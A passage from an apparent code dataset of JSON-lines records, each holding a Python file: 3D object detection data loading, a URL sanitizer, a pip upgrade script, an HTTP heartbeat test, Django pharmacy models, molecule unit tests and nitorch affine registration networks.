self.type_list[index])\n\n # Data Augmentation\n if self.random_flip:\n # note: rot_angle won't be correct if we have random_flip\n # so do not use it in case of random flipping.\n if np.random.random() > 0.5: # 50% chance flipping\n point_set[:, 0] *= -1\n box3d_center[0] *= -1\n heading_angle = np.pi - heading_angle\n if self.random_shift:\n dist = np.sqrt(np.sum(box3d_center[0] ** 2 + box3d_center[1] ** 2))\n shift = np.clip(np.random.randn() * dist * 0.05, dist * 0.8, dist * 1.2)\n point_set[:, 2] += shift\n box3d_center[2] += shift\n\n angle_class, angle_residual = angle2class(heading_angle,\n NUM_HEADING_BIN)\n\n if self.one_hot:\n return point_set, seg, box3d_center, angle_class, angle_residual, \\\n size_class, size_residual, rot_angle, one_hot_vec\n else:\n return point_set, seg, box3d_center, angle_class, angle_residual, \\\n size_class, size_residual, rot_angle\n\n def serialize_example(self, point_set, seg, box3d_center, angle_class, angle_residual, size_class, size_residual,\n rot_angle, one_hot_vec):\n feature = {'frustum_point_cloud': float_list_feature(point_set.ravel()),\n 'seg_label': float_list_feature(seg),\n 'box3d_center': float_list_feature(box3d_center),\n 'angle_class': int64_feature(angle_class),\n 'angle_residual': float_feature(angle_residual),\n 'size_class': int64_feature(size_class),\n 'size_residual': float_list_feature(size_residual.ravel()),\n 'rot_angle': float_feature(rot_angle),\n 'one_hot_vec': float_list_feature(one_hot_vec)}\n example_proto = tf.train.Example(features=tf.train.Features(feature=feature))\n return example_proto\n\n def write_tfrec(self, tfrec_name):\n with tf.io.TFRecordWriter(tfrec_name) as tfrw:\n for i in range(len(self.id_list)):\n point_set, seg, box3d_center, angle_class, angle_residual, \\\n size_class, size_residual, rot_angle, one_hot_vec = self.feature_extraction(i)\n tfexample = self.serialize_example(point_set, seg, box3d_center, angle_class, angle_residual, size_class,\n size_residual,\n rot_angle, one_hot_vec)\n tfrw.write(tfexample.SerializeToString())\n", "source": "jaswanthbjk/3D-Object-Detection", "license": "MIT"} {"text": "import urllib.request\nfrom functools import wraps\n\n\ndef sanitize_field(field):\n return urllib.request.quote(field.encode(\"UTF-8\"), safe=\"\")\n\n\ndef sanitize_string_args(function):\n \"\"\"Helper decorator that ensures that all arguments passed are url-safe.\"\"\"\n\n @wraps(function)\n def sanitized_function(*args, **kwargs):\n sanitized_args = []\n sanitized_kwargs = {}\n for arg in args:\n if isinstance(arg, str):\n arg = sanitize_field(arg)\n sanitized_args.append(arg)\n for key, value in kwargs.items():\n if isinstance(value, str):\n value = sanitize_field(value)\n sanitized_kwargs[key] = value\n return function(*sanitized_args, **sanitized_kwargs)\n\n return sanitized_function\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"} {"text": "from pip import get_installed_distributions\nfrom pip.commands import install\n\ninstall_cmd = install.InstallCommand()\n\noptions, args = install_cmd.parse_args([package.project_name\n for package in\n get_installed_distributions()])\n\noptions.upgrade = True\ninstall_cmd.run(options, args) # Chuck this in a try/except and print as wanted\n\n", "source": "Alex-Whitelock/mars", "license": "MIT"} {"text": "# This technical data was produced for the U. S. Government under Contract No. W15P7T-13-C-F600, and\n# is subject to the Rights in Technical Data-Noncommercial Items clause at DFARS 252.227-7013 (FEB 2012)\n\nimport sys\nimport time\nimport urllib2\nfrom collections import namedtuple\nfrom urllib2 import URLError, HTTPError\n\ntests = dict()\n\n\ndef register_test(test):\n \"\"\"\n A function used to register tests in the Heartbeat app. You must register your tests in order to be able to assign\n them to new records.\n \"\"\"\n tests[test.test_name] = test\n\n\ndef get_test(test_name):\n \"\"\"\n When given a test name, returns that test from the \"tests\" dict.\n \"\"\"\n return tests[test_name]\n\n\nclass HeartBeatTestCase(object):\n \"\"\"\n A base test case class for the Heartbeat module.\n \"\"\"\n\n test_name = 'Name of Test'\n description = 'Description of Test'\n\n\n def __init__(self, test_case, **kwargs):\n self.test_case = test_case\n self.url = None\n self.latencies = []\n self.responses = []\n\n for key, value in kwargs.iteritems():\n setattr(self, key, value)\n\n self.setURL()\n\n def setURL(self):\n \"\"\"\n Sets self.url in preparation for run()\n \"\"\"\n try:\n if self.test_case.table and self.test_case.object_id:\n self.url = self.test_case.table.get_object_for_this_type(id=self.test_case.object_id) \\\n .__getattribute__(self.test_case.urlorfield)\n else:\n self.url = self.test_case.urlorfield\n except:\n self.url = self.test_case.urlorfield\n\n return self.url\n\n def methods_to_test(self):\n \"\"\"\n Identifies test cases by returning all methods that start with \"test_\"\n \"\"\"\n return [method for method in dir(self) if (callable(getattr(self, method)) and method.startswith('test_'))]\n\n def set_status(self, results):\n \"\"\"\n Sets the HarvesterTestCase status property to True if all tests are successful\n \"\"\"\n if results.successful and not results.failure:\n self.successful = True\n else:\n self.successful = False\n\n return self.successful\n\n def status(self, function, result, latency=0, payload=None):\n \"\"\"\n Converts a tests output to a namedtuple.\n \"\"\"\n test_result = namedtuple('TestResult', ['result', 'f', 'latency', 'payload'])\n return test_result(result=result, f=function, latency=latency, payload=payload)\n\n def run(self):\n \"\"\"\n Runs all test methods for the test class\n \"\"\"\n successes = []\n failures = []\n test_case_result = namedtuple('TestCaseResults', ['successful', 'failure'])\n\n for i in self.methods_to_test():\n result = self.status(i, *getattr(self, i)())\n\n self.responses.append(result.payload)\n self.latencies.append(result.latency)\n\n if result.result:\n successes.append(result)\n else:\n failures.append(result)\n\n test_results = test_case_result(successful=successes, failure=failures)\n self.set_status(test_results)\n return test_results\n\n\nclass TwoHundredTestCase(HeartBeatTestCase):\n test_name = '200 Test'\n description = 'Makes a GET request that expects a 200 level response'\n\n def test_2xx(self, append_payload_if_successful=False):\n \"\"\"\n Verifies that the classes URL returns a 200 response on GET requests.\n \"\"\"\n\n test_result = namedtuple('test_2xx_results', ['result', 'latency', 'payload'])\n result = False\n latency = 0\n payload = None\n request_timeout = 15 # seconds\n\n try:\n start = time.time()\n resp = urllib2.urlopen(self.url, timeout=request_timeout)\n end = time.time()\n latency = str(round(end - start, 3))\n self.latencies.append(latency)\n\n if resp and 200 >= resp.code <= 299:\n result = True\n\n if append_payload_if_successful:\n payload = resp.readlines()\n else:\n payload = self.url\n\n resp.close()\n\n elif resp:\n ## not a 2xx response\n payload = resp.readlines()\n resp.close()\n\n else:\n ## no response object\n payload = 'No response object.'\n\n except HTTPError as e:\n payload = 'HTTP error, code:{}'.format(e.code)\n latency = latency\n payload = e.msg\n\n except URLError:\n payload = 'Request exceeded timeout {0} seconds.'.format(request_timeout)\n latency = request_timeout\n\n except:\n payload = sys.exc_info()\n\n finally:\n return test_result(result=result, latency=latency, payload=payload)\n\n\nregister_test(TwoHundredTestCase)\n\n\n\n", "source": "mcenirm/geoevents", "license": "MIT"} {"text": "from django.db import models\nfrom apps.medicamentos.models import Medicamentos\nfrom apps.distribuidor.models import Distribuidor\nfrom apps.laboratorio.models import Laboratorio\nfrom django.db.models import signals\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\n\n# Create your models here.\nclass TimeStampModel(models.Model):\n\n\tcreated = models.DateField(auto_now_add=True)\n\tmodified = models.DateField(auto_now=True)\n\n\tclass Meta:\n\t\tabstract = True\n\n\n\nclass Cabecera(TimeStampModel):\t\n\ttrabajador = models.ForeignKey(settings.AUTH_USER_MODEL)\n\tcodigo = models.CharField(max_length=10, unique=True)\n\tdistribuidor = models.ForeignKey(Distribuidor)\n\tlaboratorio = models.ForeignKey(Laboratorio)\n\tfecha = models.DateField(auto_now_add=True)\n\n\tdef __unicode__(self):\n\t\treturn self.codigo\n\t\t\n\n\n\nclass DetalleCompra(models.Model):\n\tlist=models.ForeignKey(Cabecera, related_name='cabecera')\n\tmedicamento=models.ForeignKey(Medicamentos)\n\tcantidad=models.IntegerField(max_length=9)\n\n\tdef suma(self):\n\t\treturn self.cantidad * self.medicamento.precio_Compra\n\n\n\n\n\tdef __unicode__(self):\n\t\treturn unicode(self.medicamento)\n\ndef update_stock(sender, instance, **kwargs):\n\tinstance.medicamento.stock += instance.cantidad\n\tinstance.medicamento.save()\n\n# register the signal\nsignals.post_save.connect(update_stock, sender=DetalleCompra, dispatch_uid=\"update_stock_count\")\n", "source": "cluco91/Django_Farmacia", "license": "MIT"} {"text": "\"\"\"\nUnit and regression test for the first_module_name package.\n\"\"\"\n\n# Import package, test suite, and other packages as needed\nimport first_module_name\nimport pytest\nimport sys\nimport numpy as np\n\n@pytest.fixture()\ndef water_molecule():\n name = \"water\"\n symbols = [\"H\", \"O\", \"H\"]\n coordinates = np.array([[2, 0, 0], [0, 0, 0], [-2, 0, 0]])\n\n water = first_module_name.Molecule(name, symbols, coordinates)\n\n return water\n\ndef test_create_failure():\n name = 25\n symbols = [\"H\", \"O\", \"H\"]\n coordinates = np.zeros([3,3])\n\n with pytest.raises(TypeError):\n water = first_module_name.Molecule(name, symbols, coordinates)\n\n\n\ndef test_molecule_set_coordinates(water_molecule):\n \"\"\"Test that bond list is rebuilt when we reset coordinates.\"\"\"\n\n num_bonds = len(water_molecule.bonds)\n\n assert num_bonds == 2\n\n new_coordinates = np.array([[5, 0, 0], [0, 0, 0], [-2, 0, 0]])\n water_molecule.coordinates = new_coordinates\n\n new_bonds = len(water_molecule.bonds)\n\n assert new_bonds == 1\n assert np.array_equal(new_coordinates, water_molecule.coordinates)\n\n\n\ndef test_first_module_name_imported():\n \"\"\"Sample test, will always pass so long as import statement worked\"\"\"\n assert \"first_module_name\" in sys.modules\n\ndef test_calculate_distance():\n \"\"\"Test the calculate_distance function\"\"\"\n\n r1 = np.array([0, 0, -1])\n r2 = np.array([0, 1, 0])\n\n expected_distance = np.sqrt(2.)\n\n calculated_distance = first_module_name.calculate_distance(r1, r2)\n\n assert expected_distance == calculated_distance\n\ndef test_calculate_angle_90():\n \"\"\"Test the calculate_angle function\"\"\"\n r1 = np.array([0, 0, -1])\n r2 = np.array([0, 1, 0])\n r3 = np.array([0, 0, 1])\n\n expected_value= 90\n\n\n calculated_value = first_module_name.calculate_angle(r1, r2, r3, degrees=True)\n\n\n assert expected_value == calculated_value\n\ndef test_calculate_angle_60():\n \"\"\"Test the calculate_angle function\"\"\"\n r1 = np.array([0, 0, -1])\n r2 = np.array([0, 1, 0])\n r3 = np.array([1, 0, 0])\n\n expected_value= 60\n\n\n calculated_value = first_module_name.calculate_angle(r1, r2, r3, degrees=True)\n\n\n assert np.isclose(expected_value, calculated_value)\n\n@pytest.mark.parametrize(\"p1, p2, p3, expected_angle\",[\n (np.array([1,0,0]), np.array([0,0,0]), np.array([0,1,0]), 90),\n (np.array([0,0,-1]), np.array([0,1,0]), np.array([1,0,0]), 60)\n])\ndef test_calculate_angle(p1, p2, p3, expected_angle):\n\n calculated_angle = first_module_name.calculate_angle(p1, p2, p3, degrees=True)\n assert np.isclose(expected_angle, calculated_angle)\n", "source": "sheha919/new_directory", "license": "BSD-3-Clause"} {"text": "import torch\nimport torch.nn as tnn\nfrom ..modules.base import Module\nfrom ..modules.cnn import UNet, CNN\nfrom ..modules.spatial import GridPull, GridExp, GridResize, AffineGrid, \\\n AffineExp, AffineLog, AffineClassic, \\\n AffineClassicInverse\nfrom .. import check\nfrom nitorch import spatial\nfrom nitorch.core.linalg import matvec\nfrom nitorch.core.utils import unsqueeze, channel2last, last2channel\nfrom nitorch.core.py import make_list\n\n\nclass AffineMorph(Module):\n \"\"\"Affine registration network.\n\n This network builds on VoxelMorph, but replaces the U-Net by an\n encoding CNN, and the dense spatial transformer by an affine spatial\n transformer. Like VoxelMorph, this network encodes deformation on\n their tangent space: here, the Lie algebra of a variety of affine\n Lie groups is used. Affine transformation matrices are recovered\n from their Lie algebra representation using matrix exponentiation.\n\n * VoxelMorph:\n target |-(unet)-> velocity -(exp)-> grid -(pull)-> warped_source\n source |------------------------------------^\n * AffineMorph:\n target |-(cnn)-> lieparam -(exp)-> affine -(pull)-> warped_source\n source |-------------------------------------^\n \"\"\"\n\n def __init__(self, dim, basis='CSO', encoder=None, stack=None,\n kernel_size=3, interpolation='linear', bound='dct2', *,\n _additional_input_channels=0, _additional_output_channels=0):\n \"\"\"\n\n Parameters\n ----------\n dim : int\n Dimensionalityy of the input (1|2|3)\n basis : {'T', 'SO', 'SE', 'D', 'CSO', 'SL', 'GL+', 'Aff+'}, default='CSO'\n Basis of a matrix Lie group:\n * 'T' : Translations\n * 'SO' : Special Orthogonal (rotations)\n * 'SE' : Special Euclidean (translations + rotations)\n * 'D' : Dilations (translations + isotropic scalings)\n * 'CSO' : Conformal Special Orthogonal\n (translations + rotations + isotropic scalings)\n * 'SL' : Special Linear (rotations + isovolumic zooms + shears)\n * 'GL+' : General Linear [det>0] (rotations + zooms + shears)\n * 'Aff+': Affine [det>0] (translations + rotations + zooms + shears)\n encoder : list[int], optional\n Number of channels after each encoding layer of the CNN.\n stack : list[int], optional\n Number of channels after each fully-connected layer of the CNN.\n kernel_size : int or list[int], default=3\n Kernel size of the UNet.\n interpolation : int, default=1\n Interpolation order.\n bound : bound_type, default='dct2'\n Boundary conditions of the image.\n \"\"\"\n\n super().__init__()\n exp = AffineExp(dim, basis=basis)\n nb_prm = sum(\n b.shape[0] for b in exp.basis) + _additional_output_channels\n self.cnn = CNN(dim,\n input_channels=2 + _additional_input_channels,\n output_channels=nb_prm,\n encoder=encoder,\n stack=stack,\n kernel_size=kernel_size,\n activation=tnn.LeakyReLU(0.2),\n final_activation=None)\n self.exp = exp\n self.grid = AffineGrid(shift=True)\n self.pull = GridPull(interpolation=interpolation,\n bound=bound,\n extrapolate=False)\n self.dim = dim\n\n # register losses/metrics\n self.tags = ['image', 'affine']\n\n def forward(self, source, target, *, _loss=None, _metric=None):\n \"\"\"\n\n Parameters\n ----------\n source : tensor (batch, channel, *spatial)\n Source/moving image\n target : tensor (batch, channel, *spatial)\n Target/fixed image\n\n _loss : dict, optional\n If provided, all registered losses are computed and appended.\n _metric : dict, optional\n If provided, all registered metrics are computed and appended.\n\n Returns\n -------\n deformed_source : tensor (batch, channel, *spatial)\n Deformed source image\n affine_prm : tensor (batch,, *spatial, len(spatial))\n affine Lie parameters\n\n \"\"\"\n # sanity checks\n check.dim(self.dim, source, target)\n check.shape(target, source, dims=[0], broadcast_ok=True)\n check.shape(target, source, dims=range(2, self.dim + 2))\n\n # chain operations\n source_and_target = torch.cat((source, target), dim=1)\n affine_prm = self.cnn(source_and_target)\n affine_prm = affine_prm.reshape(affine_prm.shape[:2])\n affine = []\n for prm in affine_prm:\n affine.append(self.exp(prm))\n affine = torch.stack(affine, dim=0)\n grid = self.grid(affine, shape=target.shape[2:])\n deformed_source = self.pull(source, grid)\n\n # compute loss and metrics\n self.compute(_loss, _metric,\n image=[deformed_source, target],\n affine=[affine_prm])\n\n return deformed_source, affine_prm\n\n\nclass AffineMorphSemiSupervised(AffineMorph):\n \"\"\"An AffineMorph network with a Categorical loss.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.tags += ['segmentation']\n\n def forward(self, source, target, source_seg=None, target_seg=None,\n *, _loss=None, _metric=None):\n\n # sanity checks\n check.dim(self.dim, source, target, source_seg, target_seg)\n check.shape(target, source, dims=[0], broadcast_ok=True)\n check.shape(target, source, dims=range(2, self.dim + 2))\n check.shape(target_seg, source_seg, dims=[0], broadcast_ok=True)\n check.shape(target_seg, source_seg, dims=range(2, self.dim + 2))\n\n # chain operations\n source_and_target = torch.cat((source, target), dim=1)\n affine_prm = self.cnn(source_and_target)\n affine_prm = affine_prm.reshape(affine_prm.shape[:2])\n affine = []\n for prm in affine_prm:\n affine.append(self.exp(prm))\n affine = torch.stack(affine, dim=0)\n grid = self.grid(affine, shape=target.shape[2:])\n deformed_source = self.pull(source, grid)\n if source_seg is not None:\n if source_seg.shape[2:] != source.shape[2:]:\n grid = spatial.resize_grid(grid, shape=source_seg.shape[2:])\n deformed_source_seg = self.pull(source_seg, grid)\n else:\n deformed_source_seg = None\n\n # compute loss and metrics\n self.compute(_loss, _metric,\n image=[deformed_source, target],\n affine=[affine_prm],\n segmentation=[deformed_source_seg, target_seg])\n\n if source_seg is None:\n return deformed_source, affine_prm\n else:\n return deformed_source, deformed_source_seg, affine_prm\n\n\nclass AffineVoxelMorph(Module):\n \"\"\"Affine + diffeo registration network.\n \"\"\"\n\n def __init__(self, dim, basis='CSO',\n encoder=None, decoder=None, stack=None, kernel_size=3,\n interpolation='linear', image_bound='dct2', grid_bound='dft',\n downsample_velocity=2, *, _input_channels=2):\n\n super().__init__()\n\n resize_factor = make_list(downsample_velocity, dim)\n resize_factor = [1 / f for f in resize_factor]\n\n affexp = AffineExp(dim, basis=basis)\n nb_prm = sum(b.shape[0] for b in affexp.basis)\n self.cnn = CNN(dim,\n input_channels=2,\n output_channels=nb_prm,\n encoder=encoder,\n stack=stack,\n kernel_size=kernel_size,\n activation=tnn.LeakyReLU(0.2),\n final_activation=None)\n self.affexp = affexp\n self.unet = UNet(dim,\n input_channels=_input_channels,\n output_channels=dim,\n encoder=encoder,\n decoder=decoder,\n kernel_size=kernel_size,\n activation=tnn.LeakyReLU(0.2))\n self.resize = GridResize(interpolation=interpolation,\n bound=grid_bound,\n factor=resize_factor)\n self.velexp = GridExp(interpolation=interpolation,\n bound=grid_bound)\n self.pull = GridPull(interpolation=interpolation,\n bound=image_bound,\n extrapolate=False)\n self.dim = dim\n\n # register losses/metrics\n self.tags = ['image', 'velocity', 'affine', 'segmentation']\n\n def exp(self, velocity, affine=None, displacement=False):\n \"\"\"Generate a deformation grid from tangent parameters.\n\n Parameters\n ----------\n velocity : (batch, *spatial, nb_dim)\n Stationary velocity field\n affine : (batch, nb_prm)\n Affine parameters\n displacement : bool, default=False\n Return a displacement field (voxel to shift) rather than\n a transformation field (voxel to voxel).\n\n Returns\n -------\n grid : (batch, *spatial, nb_dim)\n Deformation grid (transformation or displacment).\n\n \"\"\"\n info = {'dtype': velocity.dtype, 'device': velocity.device}\n\n # generate grid\n shape = velocity.shape[1:-1]\n velocity_small = self.resize(velocity, type='displacement')\n grid = self.velexp(velocity_small)\n grid = self.resize(grid, shape=shape, type='grid')\n\n if affine is not None:\n # exponentiate\n affine_prm = affine\n affine = []\n for prm in affine_prm:\n affine.append(self.affexp(prm))\n affine = torch.stack(affine, dim=0)\n\n # shift center of rotation\n affine_shift = torch.cat((\n torch.eye(self.dim, **info),\n -torch.as_tensor(shape, **info)[:, None] / 2),\n dim=1)\n affine = spatial.affine_matmul(affine, affine_shift)\n affine = spatial.affine_lmdiv(affine_shift, affine)\n\n # compose\n affine = unsqueeze(affine, dim=-3, ndim=self.dim)\n lin = affine[..., :self.dim, :self.dim]\n off = affine[..., :self.dim, -1]\n grid = matvec(lin, grid) + off\n\n if displacement:\n grid = grid - spatial.identity_grid(grid.shape[1:-1], **info)\n\n return grid\n\n def forward(self, source, target, source_seg=None, target_seg=None,\n *, _loss=None, _metric=None):\n \"\"\"\n\n Parameters\n ----------\n source : tensor (batch, channel, *spatial)\n Source/moving image\n target : tensor (batch, channel, *spatial)\n Target/fixed image\n\n _loss : dict, optional\n If provided, all registered losses are computed and appended.\n _metric : dict, optional\n If provided, all registered metrics are computed and appended.\n\n Returns\n -------\n deformed_source : tensor (batch, channel, *spatial)\n Deformed source image\n affine_prm : tensor (batch,, *spatial, len(spatial))\n affine Lie parameters\n\n \"\"\"\n # sanity checks\n check.dim(self.dim, source, target, source_seg, target_seg)\n check.shape(target, source, dims=[0], broadcast_ok=True)\n check.shape(target, source, dims=range(2, self.dim + 2))\n check.shape(target_seg, source_seg, dims=[0], broadcast_ok=True)\n check.shape(target_seg, source_seg, dims=range(2, self.dim + 2))\n\n # chain operations\n source_and_target = torch.cat((source, target), dim=1)\n\n # generate affine\n affine_prm = self.cnn(source_and_target)\n affine_prm = affine_prm.reshape(affine_prm.shape[:2])\n\n # generate velocity\n velocity = self.unet(source_and_target)\n velocity = channel2last(velocity)\n\n # generate deformation grid\n grid = self.exp(velocity, affine_prm)\n\n # deform\n deformed_source = self.pull(source, grid)\n if source_seg is not None:\n if source_seg.shape[2:] != source.shape[2:]:\n grid = spatial.resize_grid(grid, shape=source_seg.shape[2:])\n deformed_source_seg = self.pull(source_seg, grid)\n else:\n deformed_source_seg = None\n\n # compute loss and metrics\n self.compute(_loss, _metric,\n image=[deformed_source, target],\n velocity=[velocity],\n segmentation=[deformed_source_seg, target_seg],\n affine=[affine_prm])\n\n if deformed_source_seg is None:\n return deformed_source, velocity, affine_prm\n else:\n return deformed_source, deformed_source_seg, velocity, affine_prm\n\n\nclass DenseToAffine(Module):\n \"\"\"Convert a dense displacement field to an affine matrix\"\"\"\n\n def __init__(self, shift=True):\n \"\"\"\n\n Parameters\n ----------\n shift : bool, default=True\n Apply a shift so that the center of rotation is in the\n center of the field of view.\n \"\"\"\n super().__init__()\n self.shift = shift\n\n def forward(self, grid, **overload):\n \"\"\"\n\n Parameters\n ----------\n grid : (N, *spatial, dim)\n Displacement grid\n overload : dict\n\n Returns\n -------\n aff : (N, dim+1, dim+1)\n Affine matrix that is closest to grid in the least square sense\n\n \"\"\"\n shift = overload.get('shift', self.shift)\n grid = torch.as_tensor(grid)\n info = dict(dtype=grid.dtype, device=grid.device)\n nb_dim = grid.shape[-1]\n shape = grid.shape[1:-1]\n\n if shift:\n affine_shift = torch.cat((\n torch.eye(nb_dim, **info),\n -torch.as_tensor(shape, **info)[:, None] / 2),\n dim=1)\n affine_shift = spatial.as_euclidean(affine_shift)\n\n # the forward model is:\n # phi(x) = M\\A*M*x\n # where phi is a *transformation* field, M is the shift matrix\n # and A is the affine matrix.\n # We can decompose phi(x) = x + d(x), where d is a *displacement*\n # field, yielding:\n # d(x) = M\\A*M*x - x = (M\\A*M - I)*x := B*x\n # If we write `d(x)` and `x` as large vox*(dim+1) matrices `D`\n # and `G`, we have:\n # D = G*B'\n # Therefore, the least squares B is obtained as:\n # B' = inv(G'*G) * (G'*D)\n # Then, A is\n # A = M*(B + I)/M\n #\n # Finally, we project the affine matrix to its tangent space:\n # prm[k] = \n # were = trace(X'*Y) is the Frobenius inner product.\n\n def igg(identity):\n # Compute inv(g*g'), where g has homogeneous coordinates.\n # Instead of appending ones, we compute each element of\n # the block matrix ourselves:\n # [[g'*g, g'*1],\n # [1'*g, 1'*1]]\n # where 1'*1 = N, the number of voxels.\n g = identity.reshape([identity.shape[0], -1, nb_dim])\n nb_vox = torch.as_tensor([[[g.shape[1]]]], **info)\n sumg = g.sum(dim=1, keepdim=True)\n gg = torch.matmul(g.transpose(-1, -2), g)\n gg = torch.cat((gg, sumg), dim=1)\n sumg = sumg.transpose(-1, -2)\n sumg = torch.cat((sumg, nb_vox), dim=1)\n gg = torch.cat((gg, sumg), dim=2)\n return gg.inverse()\n\n def gd(identity, disp):\n # compute g'*d, where g and d have homogeneous coordinates.\n # [[g'*d, g'*1],\n # [1'*d, 1'*1]]\n g = identity.reshape([identity.shape[0], -1, nb_dim])\n d = disp.reshape([disp.shape[0], -1, nb_dim])\n nb_vox = torch.as_tensor([[[g.shape[1]]]], **info)\n sumg = g.sum(dim=1, keepdim=True)\n sumd = d.sum(dim=1, keepdim=True)\n gd = torch.matmul(g.transpose(-1, -2), d)\n gd = torch.cat((gd, sumd), dim=1)\n sumg = sumg.transpose(-1, -2)\n sumg = torch.cat((sumg, nb_vox), dim=1)\n sumg = sumg.expand([d.shape[0], sumg.shape[1], sumg.shape[2]])\n gd = torch.cat((gd, sumg), dim=2)\n return gd\n\n def eye(d):\n x = torch.eye(d, **info)\n z = x.new_zeros([1, d], **info)\n x = torch.cat((x, z), dim=0)\n z = x.new_zeros([d + 1, 1], **info)\n x = torch.cat((x, z), dim=1)\n return x\n\n identity = spatial.identity_grid(shape, **info)[None, ...]\n affine = torch.matmul(igg(identity), gd(identity, grid))\n affine = affine.transpose(-1, -2) + eye(nb_dim)\n affine = affine[..., :-1, :]\n if shift:\n affine = spatial.as_euclidean(affine)\n affine = spatial.affine_matmul(affine_shift, affine)\n affine = spatial.as_euclidean(affine)\n affine = spatial.affine_rmdiv(affine, affine_shift)\n affine = spatial.affine_make_square(affine)\n\n return affine\n\n\nclass AffineMorphFromDense(Module):\n \"\"\"Affine registration network.\n\n We predict local displacements using a UNet and then find the affine\n matrix that is the closest to this displacement field in the least\n square sense. Finally, we project the matrix to a Lie algebra.\n \"\"\"\n\n def __init__(self, dim, group='CSO', mode='lie', encoder='leastsquares', \n unet=None, pull=None):\n \"\"\"\n\n Parameters\n ----------\n dim : {1, 2, 3}\n Dimensionality of the input.\n \n group : {'T', 'SO', 'SE', 'D', 'CSO', 'SL', 'GL+', 'Aff+'}, default='CSO'\n Affine group encoded:\n \n - 'T' : Translations\n - 'SO' : Special Orthogonal (rotations)\n - 'SE' : Special Euclidean (translations + rotations)\n - 'D' : Dilations (translations + isotropic scalings)\n - 'CSO' : Conformal Special Orthogonal\n (translations + rotations + isotropic scalings)\n - 'SL' : Special Linear (rotations + isovolumic zooms + shears)\n - 'GL+' : General Linear [det>0] (rotations + zooms + shears)\n - 'Aff+': Affine [det>0] (translations + rotations + zooms + shears)\n \n mode : {'lie', 'classic'}, default='lie'\n Encoding of the affine parameters.\n The basis 'SL' is only available in mode 'lie'.\n\n encoder : {'leastsquares', 'cnn'} or dict, default='leastsquares'\n Encoder used to transform the dense displacement field\n into affine parameters. If 'leastsquares', compute the \n least squares affine matrix and convert it into parameters\n using `AffineLog` or `AffineClassicInverse`. If a'cnn' (or \n a dictionary of CNN options), use an encoding CNN that takes \n as input the displacement field and an identity grid and \n directy outputs the affine parameters.\n\n unet : dict, optional\n Dictionary of UNet parameters, with fields:\n \n - kernel_size : int, default=3\n Kernel size of the UNet.\n - encoder : list[int], default=[16, 32, 32, 32]\n Number of channels after each encoding layer.\n - decoder : list[int], default=[32, 32, 32, 32, 32, 16, 16]\n Number of channels after each decoding layer.\n - batch_norm : bool, default=True\n Use batch normalization in the UNet.\n - activation : callable, default=LeakyReLU(0.2)\n Activation function.\n \n pull : dict, optional\n Dictionary of GridPull parameters, with fields:\n \n - interpolation : int, default=1\n Interpolation order.\n - bound : bound_type, default='dct2'\n Boundary conditions of the image.\n - extrapolate : bool, default=False\n Extrapolate data outside of the field of view.\n \"\"\"\n\n # default parameters for the submodules\n \n unet = unet or dict()\n unet['encoder'] = unet.get('encoder', None)\n unet['decoder'] = unet.get('decoder', None)\n unet['kernel_size'] = unet.get('kernel_size', 3)\n unet['batch_norm'] = unet.get('batch_norm', False)\n unet['activation'] = unet.get('activation', tnn.LeakyReLU(0.2))\n \n pull = pull or dict()\n pull['interpolation'] = pull.get('interpolation', 1)\n pull['bound'] = pull.get('bound', 'dct2')\n pull['extrapolate'] = pull.get('extrapolate', False)\n \n cnn = dict()\n if isinstance(encoder, dict):\n cnn = encoder\n encoder = 'cnn'\n if encoder == 'cnn':\n cnn['encoder'] = unet.get('encoder', None)\n cnn['stack'] = unet.get('stack', None)\n cnn['kernel_size'] = cnn.get('kernel_size', 3)\n cnn['batch_norm'] = cnn.get('batch_norm', False)\n cnn['reduction'] = cnn.get('reduction', 'max')\n cnn['activation'] = cnn.get('activation', tnn.LeakyReLU(0.2))\n cnn['final_activation'] = cnn.get('final_activation', 'same')\n \n # instantiate submodules\n \n super().__init__()\n self.unet = UNet(dim,\n input_channels=2,\n output_channels=dim,\n encoder=unet['encoder'],\n decoder=unet['decoder'],\n batch_norm=unet['batch_norm'],\n kernel_size=unet['kernel_size'],\n activation=unet['activation'])\n if encoder == 'leastsquares':\n self.dense2aff = DenseToAffine(shift=True)\n if mode == 'lie':\n self.log = AffineLog(basis=group)\n else:\n self.log = AffineClassicInverse(basis=group)\n self.dense2prm = self._dense2prm_ls\n else:\n nb_prm = spatial.affine_basis_size(group, dim)\n self.cnn = CNN(dim,\n input_channels=2*dim,\n output_channels=nb_prm,\n encoder=cnn['encoder'],\n stack=cnn['stack'],\n batch_norm=cnn['batch_norm'],\n kernel_size=cnn['kernel_size'],\n reduction=cnn['reduction'],\n activation=cnn['activation'],\n final_activation=cnn['final_activation'])\n self.dense2prm = self._dense2prm_cnn\n \n if mode == 'lie':\n self.exp = AffineExp(dim, basis=group)\n else:\n self.exp = AffineClassic(dim, basis=group)\n self.grid = AffineGrid(shift=True)\n self.pull = GridPull(interpolation=pull['interpolation'],\n bound=pull['bound'],\n extrapolate=pull['extrapolate'])\n self.dim = dim\n self.group = group\n self.encoder = encoder\n self.mode = mode\n\n # register losses/metrics\n self.tags = ['image', 'dense', 'affine']\n\n @staticmethod\n def _identity(x):\n \"\"\"Build an identity grid with same shape/backend as a tensor.\n The grid is built such that coordinate zero is at the center of \n the FOV.\"\"\"\n shape = x.shape[2:]\n backend = dict(dtype=x.dtype, device=x.device)\n grid = spatial.identity_grid(shape, **backend)\n grid -= torch.as_tensor(shape, **backend)/2.\n grid /= torch.as_tensor(shape, **backend)/2.\n grid = last2channel(grid[None, ...])\n return grid\n \n def _dense2prm_ls(self, x):\n \"\"\"Least-squares implementation of dense2prm.\"\"\"\n shape = x.shape[2:]\n backend = dict(dtype=x.dtype, device=x.device)\n x = x * torch.as_tensor(shape, **backend) / 2.\n return self.log(self.dense2aff(x))\n \n def _dense2prm_cnn(self, x):\n \"\"\"CNN-based implementation of dense2prm\"\"\"\n x = last2channel(x)\n shape = x.shape[2:]\n grid = self._identity(x)\n x = torch.cat([x, grid], dim=1)\n prm = self.cnn(x)\n prm = prm.reshape(prm.shape[:2])\n return self._std_prm(prm, shape)\n \n def _std_prm(self, prm, shape):\n \"\"\"Multiply generated parameters by a factor that is \n related to their (expected) standard deviation.\"\"\"\n backend = dict(dtype=prm.dtype, device=prm.device)\n trl_factor = torch.as_tensor(shape, **backend) / 2.\n rot_factor = 1. / (3. if self.mode == 'classic' else 2.)\n zom_factor = 0.5 if self.mode == 'classic' else 0.2\n shr_factor = 1.\n if self.group == 'T':\n prm = prm * 